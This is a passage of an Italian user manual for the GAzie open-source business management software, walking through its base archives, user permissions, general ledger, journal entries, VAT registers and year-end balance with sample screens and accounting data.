La funzione `Archivi di base`, `Pagamenti`, porta alla tabella dei vari tipi di pagamento utilizzabili, in relazione ai dati da inserire nelle fatture. Eventualmente, l'aggiunta della voce `Nuova condizione di pagamento` porta alla maschera di inserimento di un nuovo tipo da inserire.

Figura 126.23. La funzione `Archivi di base`, `Pagamenti`, porta alla visualizzazione dell'elenco dei tipi di pagamento già definiti. Selezionando il codice di un pagamento si ottiene la visualizzazione dei dettagli e la possibilità di modificarli contestualmente.

Codice	Descrizione	Giorni decorrenza	Numero rate	Tipo rate	Cancella
1	Vista fattura	0	1	M	X
3	Rimessa diretta 30 g.d.f.	30	1	M	X
4	Rimessa diretta 60 g.d.f.	60	1	M	X
7	Ricevuta bancaria 30 g.d.f.	30	1	M	X
8	Ricevuta bancaria 60 g.d.f.	60	1	M	X
11	Tratta 30 g.d.f.	30	1	M	X
12	Tratta 60 g.d.f.	60	1	M	X
99	--	0	1	M	X

Figura 126.24. Maschera per l'inserimento o la modifica di un tipo di pagamento.

Codice pagamento	3
Descrizione	Rimessa diretta 30 g.d.f.
Tipo di pagamento	D-rimessa diretta
Incasso automatico	N-No
Tipo di decorrenza	D-data fattura
Giorni di decorrenza	30
Mese escluso	0
Mese successivo	0
Giorno successivo	0
Numero di rate	1
Tipo di rate	M-mensili
C/C bancario d'accredito	----------
Annotazioni	
Indietro Annulla	MODIFICA !

126.1.6 Spedizioni

Archivi di Base | Azienda | C/C bancari | Aliquote IVA | Pagamenti | Banche | Spedizioni | Vettori | Imballi | Porti | Utenti
Nuova spedizione

La funzione `Archivi di base`, `Spedizioni`, porta alla tabella che descrive i tipi di spedizione. Eventualmente, l'aggiunta della voce `Nuova spedizione` porta alla maschera di inserimento di una voce aggiuntiva.

Figura 126.26. La funzione `Archivi di base`, `Spedizioni`, porta alla visualizzazione dell'elenco dei tipi di spedizione già definiti. Selezionando il codice di una spedizione si ottiene la visualizzazione dei dettagli e la possibilità di modificarli contestualmente.

Codice	Descrizione	Annotazioni	Cancella
1	A MEZZO DESTINATARIO		✕
2	A MEZZO VETTORE		✕
3	A MEZZO MITTENTE		✕
99	--		✕

Figura 126.27. Maschera per l'inserimento o la modifica di un tipo di spedizione.

Descrizione spedizione *	A MEZZO DESTINATARIO	
Annotazioni		
I campi contrassegnati con * sono obbligatori!	Indietro !	MODIFICA !

126.1.7 Vettori

Archivi di Base | Azienda | C/C bancari | Aliquote IVA | Pagamenti | Banche | Spedizioni | Vettori | Imballi | Porti | Utenti
Nuovo vettore

La funzione `Archivi di base`, `Vettori`, porta alla tabella che descrive i vettori, relativamente alla compilazione delle fatture o dei documenti di trasporto. Eventualmente, l'aggiunta della voce `Nuovo vettore` porta alla maschera di inserimento di una voce aggiuntiva.

Figura 126.29. La funzione `Archivi di base`, `Vettori`, porta alla visualizzazione dell'elenco dei vettori già definiti. Selezionando il codice di un vettore si ottiene la visualizzazione dei dettagli e la possibilità di modificarli contestualmente.

Codice	Ragione sociale	Città	Telefono	Cancella
11	Martino trasporti	Castelfranco Veneto		✕
12	Corriere calpurnio	Silea		✕
99	--	--		✕

Figura 126.30. Maschera per l'inserimento o la modifica di un vettore.

Ragione Sociale *	Corriere calpurnio
Indirizzo *	via Curva, 3
CAP *	31057
Citta' *	Silea
Provincia *	TV
Partita IVA *	11111111115
Codice Fiscale	
Numero iscrizione albo autotrasportatori	
Recapito telefonico	
Altre descrizioni	
Annotazioni	
I campi contrassegnati con * sono obbligatori!	MODIFICA !

126.1.8 Imballi

Archivi di Base | Azienda | C/C bancari | Aliquote IVA | Pagamenti | Banche | Spedizioni | Vettori | Imballi | Porti | Utenti
Nuova descrizione imballo

La funzione `Archivi di base`, `Imballi`, porta alla tabella che descrive i tipi di imballaggio utilizzati, relativamente alla compilazione delle fatture o dei documenti di trasporto. Eventualmente, l'aggiunta della voce `Nuova descrizione imballo` porta alla maschera di inserimento di una voce aggiuntiva.

Figura 126.32. La funzione `Archivi di base`, `Imballi`, porta alla visualizzazione dell'elenco dei tipi di imballaggio già definiti. Selezionando il codice di un tipo di imballaggio si ottiene la visualizzazione dei dettagli e la possibilità di modificarli contestualmente.

Codice	Descrizione	Peso	Annotazioni	Cancella
1	Scatole di cartone	0.00		✕
2	Sacchi di plastica	0.00		✕
3	Alla rinfusa	0.00		✕
99	--	0.00		✕

Figura 126.33. Maschera per l'inserimento o la modifica di un tipo di imballaggio.

Descrizione imballo *	Scatole di cartone	
Peso	0.00	
Annotazioni		
I campi contrassegnati con * sono obbligatori!	Indietro !	MODIFICA !

126.1.9 Porti

Archivi di Base | Azienda | C/C bancari | Aliquote IVA | Pagamenti | Banche | Spedizioni | Vettori | Imballi | Porti | Utenti
Nuovo porto-resa

La funzione `Archivi di base`, `Porti`, conduce alla tabella che descrive i tipi di trasporto, sia per le vendite, sia per i resi. Eventualmente, l'aggiunta della voce `Nuovo porto-resa` consente l'inserimento di una voce aggiuntiva.

Figura 126.35. La funzione `Archivi di base`, `Porti`, offre la visualizzazione dell'elenco dei tipi di trasporto già definiti. Selezionando il codice di uno dei tipi si ottiene la visualizzazione dei dettagli e la possibilità di modificarli contestualmente.

Codice	Descrizione	Annotazioni	Cancella
1	FMV - franco magazzino venditore		✕
2	FMC - franco magazzino compratore		✕
99	--		✕

Figura 126.36. Maschera per l'inserimento o la modifica di un tipo di trasporto.

Descrizione porto/resa *	FMV - franco magazzino venditore	
Annotazioni		
I campi contrassegnati con * sono obbligatori!	Indietro !	MODIFICA !

126.1.10 Utenti

Archivi di Base | Azienda | C/C bancari | Aliquote IVA | Pagamenti | Banche | Spedizioni | Vettori | Imballi | Porti | Utenti
Nuovo utente

La funzione `Archivi di base`, `Utenti`, porta alla tabella che descrive gli utenti dell'azienda, nel senso di coloro che possono intervenire per introdurre e modificare dati della gestione. Eventualmente, l'aggiunta della voce `Nuovo utente` porta alla maschera di inserimento di una voce aggiuntiva.

Figura 126.38. La funzione `Archivi di base`, `Utenti`, porta alla visualizzazione dell'elenco degli utenti della gestione aziendale, già definiti. Selezionando il codice di un utente si ottiene la visualizzazione dei dettagli e la possibilità di modificarli contestualmente.

Login	Cognome	Nome	Livello	Accessi	Cancella
amministratore	amministratore		9	3	X
rossi	rossi		5	0	X

Figura 126.39. Maschera per l'inserimento o la modifica di un utente. Si vedono i dati di un amministratore, con la facoltà di intervenire in tutti gli ambiti della gestione aziendale.

Cognome *	amministratore	
Nome		
	Immagine jpg (max 10kb): Browse...	
Lingua	Italian	
Tema/Stile	stylesheet.css	
Livello di Abilitazione	9	
Num.Accessi	3	
Password (min.8 caratteri) *	••••••••	
Conferma Password *	••••••••	
Azienda per le esercitazioni - 8		
Permessi Moduli:	Tutti	Nessuno
Acquisti (acquis)	◉	○
Tools & Info (inform)	◉	○
Magazzino (magazz)	◉	○
Contabilità (contab)	◉	○
Fine Anno (finann)	◉	○
Archivi di Base (config)	◉	○
Vendite (vendit)	◉	○
I campi contrassegnati con * sono obbligatori!	Indietro Cancella MODIFICA !	

I permessi degli utenti vengono associati in base all'azienda. Nella figura precedente e in quella successiva, è disponibile una sola azienda; diversamente, l'elenco dei permessi visibile sarebbe riprodotto per ogni altra azienda esistente.

Figura 126.40. Maschera per l'inserimento o la modifica di un utente. Si vedono i dati di un utente che può intervenire esclusivamente nei moduli delle vendite e degli acquisti.

Cognome *	rossi	
Nome		
	Immagine jpg (max 10kb): Browse...	
Lingua	Italian	
Tema/Stile	stylesheet.css	
Livello di Abilitazione	5	
Num.Accessi	0	
Password (min.8 caratteri) *	••••••••	
Conferma Password *	••••••••	
Azienda per le esercitazioni - 8		
Permessi Moduli:	Tutti	Nessuno
Acquisti (acquis)	⦿	○
Tools & Info (inform)	○	⦿
Magazzino (magazz)	○	⦿
Contabilità (contab)	○	⦿
Fine Anno (finann)	○	⦿
Archivi di Base (config)	○	⦿
Vendite (vendit)	⦿	○
I campi contrassegnati con * sono obbligatori!	Indietro Cancella MODIFICA !	

Gli utenti si distinguono in base ai privilegi che hanno nella gestione aziendale di Gazie. L'utente che viene considerato «amministratore», al di là del nome utilizzato effettivamente per accedere, è quello che ha un livello di abilitazione pari a nove e può intervenire in tutti gli ambiti della procedura, inclusa la possibilità di aggiungere e modificare i dati degli altri utenti. Gli utenti con un livello di abilitazione inferiore a nove non possono intervenire sui dati degli altri.

Ogni utente può avere una foto, la quale va inserita in formato JPG, purché sia al massimo da 10 Kibyte.

126.2 Home

La funzione *Home* porta alla pagina di benvenuto dell'utente, dalla quale è possibile chiedere esplicitamente la chiusura della sessione di lavoro, oppure si può cambiare azienda attiva.

Figura 126.41. Pagina di benvenuto dell'utente, raggiungibile anche con la funzione `Home`. Facendo un clic sulla foto dell'utente (o sulla nota che la sostituisce), si accede alla modifica dei propri dati, ammesso di averne il privilegio. Con un clic sul bottone che rappresenta il nome dell'azienda attiva, è possibile accedere alla selezione di un'azienda differente.

Buonasera amministratore (ip=172.21.254.254) , questo è il tuo 3º accesso!
La tua password è del 11-11-2021

Version: 5.1

Se vuoi uscire clicca sul pulsante
Logout

Stai amministrando la ditta:
Azienda per le esercitazioni

Software Open Source (lic. GPL ver.2) per la gestione aziendale.
Progetto di: www.devincentiis.it
Sviluppo, documentazione, segnalazione errori: gazie.sourceforge.net

126.3 Contabilità

Contabilità | Prima Nota | Piano dei conti | Causali Contabili | Registri IVA | Liquidazione IVA | Libro Giornale

La voce `Contabilità` porta al menù delle funzioni relative alla contabilità generale.

126.3.1 Conti

Contabilità | Prima Nota | Piano dei conti | Causali Contabili | Registri IVA | Liquidazione IVA | Libro Giornale
Nuovo conto
Visualizza/stampa partitari

La funzione `Contabilità`, `Piano dei conti`, porta all'elenco completo dei conti, mettendo in evidenza le eccedenze contabili.

Figura 126.44. Piano dei conti, raggiungibile con la funzione `Contabilità`, `Piano dei conti`.

Piano dei conti

Ricorda che devi introdurre i mastri per le attività compresi tra 100 e 199, le passività tra 200 e 299, i costi tra 300 e 399, i ricavi tra 400 e 499 e i conti d'ordine o transitori tra 500 e 599

Mastro	Conto	Descrizione	Dare	Avere	Saldo	Visualizza e/o stampa	Cancella
		Saldi relativi all'anno : 2010					
100	000000	CREDITI VS/SOCI					X
100	000001	Azionisti c/sottoscrizioni	0,00	0,00	0,00		X
100	000002	Azionisti c/versamenti richiamati	0,00	0,00	0,00		X
100	000005	Azionisti c/reintegro	0,00	0,00	0,00		X
101	000000	IMMOBILIZZAZIONI IMMATERIALI					X
101	000001	Costi d'impianto	0,00	0,00	0,00		X
101	000002	Costi di ampliamento	0,00	0,00	0,00		X

Figura 126.45. Facendo un clic sul codice di un conto, si accede alla maschera di modifica dello stesso.

108	000020	Assegni	0,00	0,00	0,00		X
108	000030	Denaro in cassa	0,00	0,00	0,00		X
108	00	Modifica il conto	0,00	0,00	0,00		X
109	000000	RATEI E RISCONTI ATTIVI					X
109	000001	Ratei attivi	0,00	0,00	0,00		X

Figura 126.46. Maschera di modifica di un conto.

Modifica il conto '108000030'

Descrizione*	Denaro in cassa
Riclassificazione Bilancio CEE / DARE	AC IV 003 Denaro e valori in cassa
Riclassificazione Bilancio CEE / AVERE	
I campi contrassegnati con * sono obbligatori!	Indietro ! MODIFICA !

Figura 126.47. Maschera di inserimento di un nuovo conto, raggiungibile con la funzione `Contabilità`, `Piano dei conti`, `Nuovo conto`.

Inserisci un nuovo conto

Mastro*	0
Sottoconto*	0
Descrizione*	
Riclassificazione Bilancio CEE / DARE	
Riclassificazione Bilancio CEE / AVERE	
I campi contrassegnati con * sono obbligatori!	Indietro ! INSERISCI !

Quando ci si trova sull'elenco dei conti, raggiungibile con la funzione `Contabilità`, `Piano dei conti`, facendo un clic sulla colonna «visualizza o stampa», in corrispondenza di un certo conto, si ottiene la maschera per la visualizzazione ed eventualmente la stampa del partitario di quel conto.

Figura 126.48. Selezione del partitario di un conto, a partire dall'elenco.

108	000020	Assegni	0,00	0,00	0,00		
108	000030	Denaro in cassa	2.500,00	0,00	2.500,00		
108	000031	Valori bollati	0,00	0,00	0,00		

Figura 126.49. Maschera di selezione dei conti di cui si vuole il partitario: in questo caso si vuole la situazione di un conto soltanto.

Selezione per la visualizzazzione e/o la stampa dei partitari

Data di stampa	31 Gennaio 2010	
Mastro inizio	108-DISPONIBILITÀ LIQUIDE	Seleziona tutto
Conto inizio	000030-Denaro in cassa	
Mastro fine	108-DISPONIBILITÀ LIQUIDE	
Conto fine	000030-Denaro in cassa	
Data registrazione inizio	1 Gennaio 2010	
Data registrazione fine	31 Gennaio 2010	
Indietro		ANTEPRIMA

Data	ID	Descrizione	N.Doc.	Data Doc.	Dare	Avere	Saldo progressivo
2010-01-04	1	Prelievo dal c/c bancario.			2.500,00	0,00	2.500,00
							STAMPA

Diversamente, è possibile specificare un intervallo di conti di cui si vuole il partitario. In generale, per questo si accede preferibilmente dalla funzione `Contabilità`, `Piano dei conti`, `Visualizza/stampa partitari`.

Figura 126.50. Maschera di selezione dei conti di cui si vuole il partitario: in questo caso la selezione riguarda più conti e il riepilogo mostra solo le eccedenze di questi.

Selezione per la visualizzazzione e/o la stampa dei partitari

Data di stampa	31 Gennaio 2010
Mastro inizio	100-CREDITI VS/SOCI
Conto inizio	000001-Azionisti c/sottoscrizioni
Mastro fine	598-BILANCI (TRANSITORI)
Conto fine	000003-Risultato economico
Data registrazione inizio	1 Gennaio 2010
Data registrazione fine	31 Gennaio 2010

Seleziona tutto

Indietro ANTEPRIMA

Conto	Num.Mov.	Descrizione	Dare	Avere	Saldo progressivo
103000001	1	Alberoni & C.	1.200,00	0,00	1.200,00
106000001	2	IVA ns/credito	600,00	0,00	600,00
108000030	1	Denaro in cassa	2.500,00	0,00	2.500,00
197000020	1	Banca x c/c	0,00	2.500,00	-2.500,00
212000001	2	Tutto hardware	0,00	3.614,60	-3.614,60
215000001	1	IVA ns/debito	0,00	200,00	-200,00
330000004	2	Merci c/acquisti	3.000,00	0,00	3.000,00
339000001	1	Oneri fiscali diversi	14,60	0,00	14,60
420000006	1	Merci c/vendite	0,00	1.000,00	-1.000,00

STAMPA

Con un clic sul bottone STAMPA, si ottiene il file PDF del partitario richiesto. Ciò si traduce normalmente nella visualizzazione del file stesso, il quale può poi essere stampato realmente su carta, oppure può essere salvato per una gestione elettronica dei documenti.

126.3.2 Prima nota

Contabilità | Prima Nota | Piano dei conti | Causali Contabili | Registri IVA | Liquidazione IVA | Libro Giornale

Nuovo movimento contabile

La funzione `Contabilità`, `Prima nota`, porta all'elenco delle registrazioni in contabilità generale, già esistenti. Inizialmente, tale elenco è vuoto.

Figura 126.52. Elenco delle registrazioni contabili in prima nota, prima che sia stato inserito alcunché.

Figura 126.53. Con la funzione del menù `Contabilità`, `Prima nota`, `Nuovo movimento contabile`, si ottiene la maschera di inserimento di una scrittura.

Figura 126.54. Maschera iniziale per l'inserimento di una scrittura in prima nota: la compilazione inizia dalla data di registrazione.

Nella parte superiore della maschera di inserimento di una scrittura contabile vanno inseriti: la data di registrazione, la sua descrizione e l'indicazione se la scrittura vada annotata o meno nei registri IVA. La descrizione può essere guidata attraverso l'uso di una causale già predisposta, ma inizialmente, per le scritture fatte manualmente, conviene avvalersi di una descrizione libera.

Se la scrittura fa riferimento a un documento che viene conservato, va attivata la voce `Richiedi dati documento`; se c'è un documento da annotare, è possibile indicare un registro IVA in cui l'operazione deve essere riportata. Se si usa un registro IVA, al suo interno, l'operazione può comportare l'aggiunta o la sottrazione del valore relativo.

Figura 126.55. Inserimento di una descrizione libera.

Se l'operazione non richiede i dati del documento, e di conseguenza nemmeno l'annotazione in un registro IVA, la maschera si presenta come nella figura precedente, dove è possibile inserire

solo i conti che costituiscono la scrittura. Per tale inserimento si procede da una sorta di barra di inserimento.

Figura 126.56. Inserimento del conto «Denaro in cassa», utilizzando la barra di inserimento.

Per confermare l'inserimento del conto, occorre un clic sul bottone grafico ✓, indicato dalla scritta «Aggiungi rigo!».

Figura 126.57. Il conto «Denaro in cassa» è stato inserito.

I dati del conto inserito possono essere modificati ulteriormente e sul lato destro appare anche un altro pulsante, ☒, di colore rosso, con il quale si può eliminare il rigo in caso di necessità. Nelle figure successiva si procede all'inserimento del conto «Banca x c/c», ma in questo caso si omette l'importo, il quale può essere calcolato automaticamente dopo l'inserimento.

Figura 126.58. Inserimento del conto in avere.

A questo punto si può correggere l'inserimento mettendo il valore mancante, oppure ci si può fare aiutare per questo da Gazie. A fianco del campo privo del valore, appare un bottone con una freccia verso l'alto, ⇡, per indicare che presumibilmente lì c'è un valore da aumentare. È sufficiente fare un clic sopra quel bottone per ottenere l'inserimento automatico di quanto necessario a far bilanciare la scrittura allo stato attuale di inserimento.

Figura 126.59. Inserimento confermato del conto in avere: mancando l'indicazione del valore, il campo corrispondente risulta evidenziato, perché da completare.

A questo punto la scrittura, così semplice, è terminata e si può concludere con un clic sul bottone INSERISCI. Si torna all'elenco delle scritture esistenti.

Figura 126.60. Conferma dell'inserimento della scrittura.

Figura 126.61. Dopo l'inserimento di una scrittura si torna all'elenco delle scritture esistenti.

Inserisci un nuovo movimento contabile
Lista dei Movimenti Contabili
Num. record = 1

N.	Data di registrazione	Causale contabile	Descrizione	Protocollo	Numero	Importo	Elimina
1	04-01-2010		Prelievo dal c/c bancario.			2.500,00	✕

Dall'elenco delle scritture esistenti si può passare alla visualizzazione e modifica di una di queste. Per farlo basta un clic sul numero identificativo della scrittura scelta.

Figura 126.62. Selezione di una scrittura per ottenerne la maschera di modifica.

Lista dei Movimenti Contabili
Num. record = 1

N.	Data di registrazione	Causale contabile	Descrizione	Protocollo	Numero	Importo	Elimina
	04-01-2010		Prelievo dal c/c bancario.			2.500,00	✕

Modifica

Figura 126.63. Maschera di visualizzazione e modifica di una scrittura già inserita.

Modifica il movimento contabile n.1

Data di registrazione	4 Gennaio 2010
Causale contabile	Libera
Descrizione	Prelievo dal c/c bancario.
Dati del documento di riferimento	No Registro I.V.A. Nessuno Operatore Non opera

Movimenti Contabili

	Mastro	Conto	Importo	Dare/Avere	Aggiungi rigo!
	---------	---------		AVERE	
1	108-DISPONIBILITÀ LIQUIDE	000030-Denaro in cassa	2500.00	DARE	
2	197-CONTI BANCARI	000020-Banca x c/c	2500.00	AVERE	

Indietro ! Totale DARE : 2500.00 Bilanciato Totale AVERE : 2500.00 MODIFICA !

Per inserire una scrittura collegata a un registro IVA, si procede in modo analogo, aggiungendo però i dati del documento e quelli degli imponibili.

In questo caso, però, conviene sfruttare una causale già impostata, perché in tal modo la maschera di inserimento appare già impostata con dei dati di massima.

Figura 126.64. Selezione della causale contabile.

Inserisci un nuovo movimento contabile

Data di registrazione	4 Gennaio 2010
Causale contabile	Libera
Descrizione	
Dati del documento di riferimento	Operatore Non opera

Libera
ANC - NOTA CREDITO DA FORNITORE
AFA - FATTURA DI ACQUISTO
VCO - VENDITA CORRISPETTIVI
FNC - NOTA CREDITO A CLIENTE
FAD - FATTURA DIFFERITA A CLIENTE
FAI - FATTURA IMMEDIATA A CLIENTE
FND - NOTA DEBITO A CLIENTE
FAP - PARCELLA
VER - VERSAMENTO SU C/C BANCARIO

Mastro	Conto	Dare/Avere	Aggiungi rigo!
---------	---------	AVERE	

Indietro ! Totale DARE : 0.00 Movimenti a zero Totale AVERE : 0.00 INSERISCI !

Dopo la conferma, la causale interviene automaticamente nella richiesta dei dati del documento, per cui appaiono dei campi aggiuntivi, per l'indicazione dei dati del documento e per l'inserimento degli imponibili.

Figura 126.65. Inserimento dei dati del documento e dell'imponibile.

Il rigo dell'imponibile, anche se è unico, va inserito selezionando il bottone ☑; i dati del documento, invece, non richiedono conferma. Si può osservare che i conti associati alla causale scelta risultano già compilati parzialmente; ciò che manca sicuramente è l'indicazione del fornitore, il quale va scelto cominciando dall'inserimento della parte iniziale del suo nome, oppure con due caratteri di percentuale ('%%'), se si è sicuri di avere un elenco ridotto di nomi.

Figura 126.66. Ricerca del fornitore, utilizzando due caratteri di percentuale.

Figura 126.67. Selezione del fornitore dall'elenco ottenuto.

Al termine si conferma con il bottone [INSERISCI!], con il quale si viene mandati nuovamente all'elenco delle scritture esistenti in prima nota.

Figura 126.68. Scrittura completata.

N.	Data di registrazione	Causale contabile	Descrizione	Protocollo	Numero	Importo	Elimina
2	04-01-2010	AFA	FATTURA DI ACQUISTO	1/1	123	2.400,00	X
1	04-01-2010		Prelievo dal c/c bancario.			2.500,00	X

Se si utilizza una causale già predisposta, ma si vogliono apportare delle modifiche nei conti previsti, occorre intervenire con un po' di attenzione in più. Nell'esempio seguente si registra un acquisto, nel quale si annotano dei bolli (IVA esclusa art. 15) e vi si associa un costo specifico.

Figura 126.69. Inserimento di un secondo imponibile.

Figura 126.70. Aggiunta di un conto.

Figura 126.71. Correzione del valore delle merci acquistate, a seguito dello sbilancio introdotto dal conto inserito in precedenza.

126.3.3 Contabilità: causali contabili

La funzione `Contabilità`, `Causali contabili`, porta all'elenco delle causali di contabilità codificate. Inizialmente, l'elenco riporta le causali obbligatorie, in quanto necessarie alla contabilizzazione automatica delle fatture e di altre operazioni prevedibili.

Figura 126.72. Elenco delle causali contabili predefinite e obbligatorie.

Codice	Descrizione	Registro IVA	Operatore	Cancella
VER	VERSAMENTO SU C/C BANCARIO	Nessuno	Non opera	✗
VCO	VENDITA CORRISPETTIVI	Corrispettivi	Somma	✗
FAP	PARCELLA	Fatture di Vendita	Somma	✗
FND	NOTA DEBITO A CLIENTE	Fatture di Vendita	Somma	✗
ANC	NOTA CREDITO DA FORNITORE	Fatture d'Acquisto	Sottrae	✗
FNC	NOTA CREDITO A CLIENTE	Fatture di Vendita	Sottrae	✗
FAI	FATTURA IMMEDIATA A CLIENTE	Fatture di Vendita	Somma	✗
FAD	FATTURA DIFFERITA A CLIENTE	Fatture di Vendita	Somma	✗
AFA	FATTURA DI ACQUISTO	Fatture d'Acquisto	Somma	✗

Per inserire una nuova causale si deve utilizzare la funzione del menù `Contabilità`, `Causali contabili`, `Nuova causale`.

Figura 126.73. Maschera di inserimento di una nuova causale contabile.

Inserisci una nuova causale contabile

Codice causale *		
Descrizione *		
Inserimento dati documento di riferimento		No
Registro I.V.A.		0 - Nessuno
Operatore		0 - Non opera
Conti da movimentare		
Conto (minimo 1) *	Tipo di importo	DARE/AVERE
---------	-	D - DARE
---------	-	D - DARE
---------	-	D - DARE
---------	-	D - DARE
---------	-	D - DARE
---------	-	D - DARE
I campi contrassegnati con * sono obbligatori!	Indietro !	INSERISCI !

Quando ci si trova a visualizzare l'elenco delle causali contabili, facendo un clic sul codice di una causale si accede alla visualizzazione dei dettagli del suo contenuto, con la possibilità di modificarne la configurazione. Va fatta molta attenzione alla modifica eventuale delle causali predefinite e obbligatorie, perché da loro dipende la registrazione automatica di varie operazioni.

Figura 126.74. Visualizzazione o modifica di una causale. In questa fase non è possibile modificare il codice della causale.

Modifica della causale contabile 'AFA'

Descrizione *		FATTURA DI ACQUISTO
Inserimento dati documento di riferimento		Si
Registro I.V.A.		6 - Fatture d'Acquisto
Operatore		1 - Somma
Conti da movimentare		
Conto (minimo 1) *	Tipo di importo	DARE/AVERE
212-DEBITI V/FORNITORI	A - Totale	A - AVERE
330000004-Merci c/acquisti	B - Imponibile	D - DARE
106000001-IVA ns/credito	C - Imposta	D - DARE
---------	-	D - DARE
---------	-	D - DARE
---------	-	D - DARE
I campi contrassegnati con * sono obbligatori!	Indietro !	MODIFICA !

Le informazioni che compongono una causale consentono di facilitare l'inserimento di una scrittura in prima nota, come si vede nella sezione 126.3.2.

126.3.4 Libro giornale

La funzione `Contabilità`, `Libro giornale`, porta a una maschera per la richiesta della stampa del libro giornale. In tale maschera è possibile specificare il periodo e altri dati necessari.

Figura 126.75. Maschera per la richiesta della stampa del libro giornale.

Selezione per la visualizzazione e/o la stampa dei Libro giornale

Stampa definitiva	☐	N. pagina iniziale	1
Dare (inizio)	0	Avere (inizio)	0
Data registrazione inizio	1 Gennaio 2010		
Data registrazione fine	31 Gennaio 2010		
Numero righe:	12		
Totale Dare	7.314,60	Totale Avere	7.314,60
	Indietro	STAMPA !	stampa la copertina -> ☐

Con il bottone STAMPA si ottiene il file PDF del libro giornale, il quale può essere salvato o stampato effettivamente.

Figura 126.76. Libro giornale.

Azienda...
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F. 80011540269 P.I. 80011540269

Pagina 2010/1

Libro Giornale dal 01-01-2010 al 31-01-2010

Progr.	Data Reg.	Descrizione Operazione / Num. e Data Doc.	N.Conto	Nome Conto	Dare	Avere
1	04-01-2010	Prelievo dal c/c bancario.	108000030	Denaro in cassa	2.500,00	
2			197000020	Banca x c/c		2.500,00
3	04-01-2010	FATTURA DI ACQUISTO	212000001	Tutto hardware		2.400,00
4		n.123/1 del 03-01-2010	330000004	Merci c/acquisti	2.000,00	
5			106000001	IVA ns/credito	400,00	
6	05-01-2010	FATTURA IMMEDIATA A CLIENTE	103000001	Alberoni & C.	1.200,00	
7		n.1/1 del 04-01-2010	420000006	Merci c/vendite		1.000,00
8			215000001	IVA ns/debito		200,00
9	05-01-2010	FATTURA DI ACQUISTO	212000001	Tutto hardware		1.214,60
10		n.127/1 del 04-01-2010	330000004	Merci c/acquisti	1.000,00	
11			106000001	IVA ns/credito	200,00	
12			339000001	Oneri fiscali diversi	14,60	
TOTALI :					7.314,60	

126.3.5 Registri IVA

La funzione `Contabilità`, `Registri IVA`, porta a una maschera per la richiesta della stampa di un registro IVA. In tale maschera è possibile specificare il tipo di registro, il periodo e gli altri dati necessari. Con la compilazione dei campi si ottiene subito un'anteprima del contenuto del registro.

Figura 126.77. Maschera per la richiesta della stampa dei registri IVA, compilata per il registro IVA degli acquisti.

Selezione per la visualizzazzione e/o la stampa dei registri IVA

Registro IVA da stampare:	Fatture d'Acquisto	Sezione IVA	1
N. pagina iniziale	1	Stampa definitiva	☐
Descrizione	del mese di Gennaio 2010		
Data registrazione inizio	1 Gennaio 2010		
Data registrazione fine	31 Gennaio 2010		
Regime	Contabilità ordinaria	Stampa la copertina	☐
Indietro			ANTEPRIMA

Protocollo	Data - ID movimento	Descrizione documento	Cliente o Fornitore	Imponibile	Aliquota	Imposta
1	04-01-2010 id 2	FATTURA DI ACQUISTO n.123 di 03-01-2010	Tutto hardware	2.000,00	20.0	400,00
2	05-01-2010 id 7	FATTURA DI ACQUISTO n.127 di 04-01-2010	Tutto hardware	1.000,00	20.0	200,00
2	05-01-2010 id 7	FATTURA DI ACQUISTO n.127 di 04-01-2010	Tutto hardware	14,60	0.0	0,00
			TOTALE IVA al 20%	3.000,00	20.0%	600,00
			TOTALE ESCLUSA art. 15	14,60	0.0%	0,00
		TOTALE GENERALE	3.614,60	3.014,60		600,00

STAMPA

Con il bottone STAMPA si ottiene il file PDF del registro IVA selezionato, il quale può essere salvato o stampato effettivamente.

Figura 126.78. Registro IVA.

Azienda...
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F. 80011540269 P.I. 80011540269

Sezione IVA n.1 Pagina 2010/1

Registro degli acquisti del mese di Gennaio 2010

N.Prot.	Data Reg.	N.Documento/Descr.	Data Doc.	Ragione Sociale Fornitore	Imponibile	Perc.	Imposta	Totale
1	04-01-2010	123	03-01-2010	Tutto hardware				
		FATTURA DI ACQUISTO	cod. 1	IVA al 20%	2.000,00	20,00%	400,00	2.400,00
2	05-01-2010	127	04-01-2010	Tutto hardware				
		FATTURA DI ACQUISTO	cod. 1	IVA al 20%	1.000,00	20,00%	200,00	1.200,00
			cod. 4	ESCLUSA art. 15	14,60	0,00%	0,00	14,60

RIEPILOGO TOTALI PER ALIQUOTE

cod	descrizione	imponibile	%	imposta	totale
1	IVA al 20%	3.000,00	20.0%	600,00	3.600,00
4	ESCLUSA art. 15	14,60	0.0%	0,00	14,60
TOTALE GENERALE		3.014,60		600,00	

126.4 Fine anno

La voce *Fine anno* porta al menù delle funzioni relative alle operazioni che si svolgono comunemente alla fine dell'anno di gestione. In particolare, da qui è possibile ottenere un bilancio e produrre la chiusura e riapertura dei conti in contabilità generale.

126.4.1 Bilancio

Dalla funzione del menù *Fine anno*, *Bilancio*, si giunge a una maschera di selezione di un periodo della contabilità generale, con il quale si vuole generare un bilancio di verifica.

Figura 126.79. Maschera per la richiesta di un bilancio di verifica. Con un clic sul bottone ANTEPRIMA si vede il contenuto del bilancio, prima di richiedere la generazione della stampa in formato PDF con il bottone STAMPA BILANCIO

Figura 126.80. Con un clic sul bottone STAMPA BILANCIO si ottiene il file PDF del bilancio di verifica, che può essere salvato o stampato effettivamente.

Azienda...
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F. 80011540269 P.I. 80011540269

Pagina 1 di 2

BILANCIO DAL 01-01-2010 AL 31-01-2010

SITUAZIONE PATRIMONIALE AL 31-01-2010

ATTIVO				
103	CREDITI V/CLIENTI			
000001	Alberoni & C.	1.200,00		
			euro	1.200,00
106	CREDITI DIVERSI			
000001	IVA ns/credito	600,00		
			euro	600,00
108	DISPONIBILITÀ LIQUIDE			
000030	Denaro in cassa	2.500,00		
			euro	2.500,00
			TOTALE ATTIVO	4.300,00
			Perdita ==>	2.014,60
			TOTALE	6.314,60

PASSIVO				
197	CONTI BANCARI			
000020	Banca x c/c	2.500,00		
			euro	2.500,00
212	DEBITI V/FORNITORI			
000001	Tutto hardware	3.614,60		
			euro	3.614,60
215	DEBITI DIVERSI			
000001	IVA ns/debito	200,00		
			euro	200,00
			TOTALE PASSIVO	6.314,60

CONTO ECONOMICO DAL 01-01-2010 AL 31-01-2010

RICAVI				
420	VALORE DELLA PRODUZIONE/VENDITE E PRESTAZIONI			
000006	Merci c/vendite	1.000,00		
			euro	1.000,00
			TOTALE RICAVI	1.000,00
			Perdita ==>	2.014,60
			TOTALE	3.014,60

COSTI				
330	COSTI DELLE MATERIE/MERCI			
000004	Merci c/acquisti	3.000,00		
